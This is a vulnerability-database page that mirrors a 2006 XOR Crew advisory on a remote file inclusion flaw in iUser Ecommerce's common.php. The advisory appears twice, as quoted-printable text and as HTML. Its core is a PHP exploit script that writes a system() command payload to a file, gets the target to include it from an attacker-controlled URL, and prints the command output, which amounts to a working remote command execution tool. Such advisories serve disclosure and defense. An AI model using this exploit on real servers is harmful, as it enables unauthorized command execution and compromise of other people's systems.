Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

XOR-iUser.txt

🗓️ 20 Feb 2006 00:00:00Reported by Scott DeweyType 
packetstorm
 packetstorm🔗 packetstormsecurity.com👁 30 Views

iUser Ecommerce Remote Command Execution Vulnerabilit

Code
`------=_Part_3521_19317884.1140054596440  
Content-Type: text/plain; charset=ISO-8859-1  
Content-Transfer-Encoding: quoted-printable  
Content-Disposition: inline  
  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  
XOR Crew :: Security Advisory =20  
1/10/2006  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  
iUser Ecommerce - Remote Command Execution Vulnerability  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  
http://www.xorcrew.net/  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  
  
:: Summary  
  
Vendor : Intensive Point  
Vendor Site : http://www.intensivepoint.com/  
Product(s) : iUser Ecommerce - shopping cart for digital products  
Version(s) : All  
Severity : Medium/High  
Impact : Remote Command Execution  
Release Date : 1/10/2006  
Credits : ReZEN (rezen (a) xorcrew (.) net)  
  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  
  
I. Description  
  
The iUser digital products shopping cart system has a broad range of  
features, giving  
you an incredible amount of flexibility, while remaining secure, easy  
to implement and  
administer. There is simply no other comparable shopping cart solution  
specializing in  
software downloads distribution available on the market at this price!  
  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  
  
II. Synopsis  
  
There is a remote file inclusion vulnerability that allows for remote  
command execution  
in the common.php file. The bug is here on lines 28, 29, and 32:  
  
// Load iuser configuration files  
@require($include_path . "setup.php");  
@require($include_path . "config.php");  
  
// Load misc functions  
require($include_path . "util.php");  
  
the $include_path variable is not set prior to being used in the  
require() function.  
The vendor has been contacted and the issue has been resolved.  
  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  
  
Exploit code:  
  
-----BEGIN-----  
  
<?php  
  
/*  
iUser Remote File Inclusion Exploit c0ded by ReZEN  
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf  
url: http://www.xorcrew.net/ReZEN  
*/  
  
$cmd =3D $_POST["cmd"];  
$turl =3D $_POST["turl"];  
$hurl =3D $_POST["hurl"];  
  
$form=3D "<form method=3D\"post\" action=3D\"".$PHP_SELF."\">"  
."turl:<br><input type=3D\"text\" name=3D\"turl\" size=3D\"90\"  
value=3D\"".$turl."\"><br>"  
."hurl:<br><input type=3D\"text\" name=3D\"hurl\" size=3D\"90\"  
value=3D\"".$hurl."\"><br>"  
."cmd:<br><input type=3D\"text\" name=3D\"cmd\" size=3D\"90\"  
value=3D\"".$cmd."\"><br>"  
."<input type=3D\"submit\" value=3D\"Submit\" name=3D\"submit\">"  
."</form><HR WIDTH=3D\"650\" ALIGN=3D\"LEFT\">";  
  
if (!isset($_POST['submit']))  
{  
  
echo $form;  
  
}else{  
  
$file =3D fopen ("test.txt", "w+");  
  
fwrite($file, "<?php system(\"".$cmd."\"); ?>");  
fclose($file);  
  
$file =3D fopen ($turl.$hurl, "r");  
if (!$file) {  
echo "<p>Unable to get output.\n";  
exit;  
}  
  
echo $form;  
  
while (!feof ($file)) {  
$line =3D fgets ($file, 1024);  
echo $line."<br>";  
}  
  
}  
?>  
  
------END------  
  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  
  
IV. Greets :>  
  
All of xor, Infinity, stokhli, ajax, gml, cijfer, my beautiful girlfriend.  
  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  
  
------=_Part_3521_19317884.1140054596440  
Content-Type: text/html; charset=ISO-8859-1  
Content-Transfer-Encoding: quoted-printable  
Content-Disposition: inline  
  
<pre>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<br>XOR Crew :: Security Advisory=  
1/10/2006<br>=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D  
<br>iUser Ecommerce - Remote Command Execution Vulnerability<br>=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D<br><a href=3D"http://www.xorcrew.net/">http://w=  
ww.xorcrew.net/</a><br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  
<br><br>:: Summary<br><br> Vendor : Intensive Point<br> Ve=  
ndor Site : <a href=3D"http://www.intensivepoint.com/">http://www.intensi=  
vepoint.com/</a><br> Product(s) : iUser Ecommerce - shopping cart =  
for digital products  
<br> Version(s) : All<br> Severity : Medium/High<br> =  
Impact : Remote Command Execution<br> Release Date : 1/10/200=  
6<br> Credits : ReZEN (rezen (a) xorcrew (.) net)<br><br>=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D  
<br><br>I. Description<br><br>The iUser digital products shopping cart syst=  
em has a broad range of features, giving<br>you an incredible amount of fle=  
xibility, while remaining secure, easy to implement and<br>administer. Ther=  
e is simply no other comparable shopping cart solution specializing in  
<br>software downloads distribution available on the market at this price!<=  
br><br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<br><br>II. Synopsis<br><br>Th=  
ere is a remote file inclusion vulnerability that allows for remote command=  
execution  
<br>in the common.php file. The bug is here on lines 28, 29, and 32: <br><=  
br>// Load iuser configuration files<br>@require($include_path . "setu=  
p.php");<br>@require($include_path . "config.php");<br><br>  
// Load misc functions<br>require($include_path . "util.php"); <b=  
r><br>the $include_path variable is not set prior to being used in the requ=  
ire() function.<br>The vendor has been contacted and the issue has been res=  
olved.  
<br><br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<br><br>Exploit code:<br><br>-=  
----BEGIN-----<br><br><?php<br><br>/*<br>iUser Remote File Inclusion Exp=  
loit c0ded by ReZEN<br>  
Sh0uts: <a href=3D"http://xorcrew.net">xorcrew.net</a>, ajax, gml, #subterr=  
ain, My gf<br>url: <a href=3D"http://www.xorcrew.net/ReZEN">http://www.xor=  
crew.net/ReZEN</a><br>*/<br><br>$cmd =3D $_POST["cmd"];<br>$turl =  
=3D $_POST["turl"];  
<br>$hurl =3D $_POST["hurl"];<br><br>$form=3D "<form meth=  
od=3D\"post\" action=3D\"".$PHP_SELF."\">&=  
quot;<br> ."turl:<br><input type=3D\"text\" nam=  
e=3D\"turl\" size=3D\"90\" value=3D\"".$turl.=  
"\"><br>"  
<br> ."hurl:<br><input type=3D\"text\" name=3D\&=  
quot;hurl\" size=3D\"90\" value=3D\"".$hurl."=  
\"><br>"<br> ."cmd:<br><input type=3D\=  
"text\" name=3D\"cmd\" size=3D\"90\" value=3D=  
\"".$cmd."\"><br>"  
<br> ."<input type=3D\"submit\" value=3D\"Submit\=  
" name=3D\"submit\">"<br> ."</form>&lt=  
;HR WIDTH=3D\"650\" ALIGN=3D\"LEFT\">";<br><br>=  
if (!isset($_POST['submit']))=20  
<br>{<br><br>echo $form;<br><br>}else{<br><br>$file =3D fopen ("test.t=  
xt", "w+");<br><br>fwrite($file, "<?php system(\&quo=  
t;".$cmd."\"); ?>");<br>fclose($file);<br><br>$file =  
=3D fopen ($turl.$hurl, "r");  
<br>if (!$file) {<br> echo "<p>Unable to get output.\n";=  
<br> exit;<br>}<br><br>echo $form;<br><br>while (!feof ($file)) {<br> =  
$line =3D fgets ($file, 1024);<br> echo $line."<br>";  
<br> }<br><br>}<br>?><br><br>------END------<br><br>=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D<br><br>IV. Greets :><br><br>All of xor, Infinity, =  
stokhli, ajax, gml, cijfer, my beautiful girlfriend.  
<br><br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=  
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D</pre>  
  
------=_Part_3521_19317884.1140054596440--  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
20 Feb 2006 00:00Current
7.4High risk
Vulners AI Score7.4
xor crew security advisory intensive point iuser ecommerce remote command execution. remote file inclusion vulnerability software downloads distribution command executionexploit code. vulnerability impact release date.
30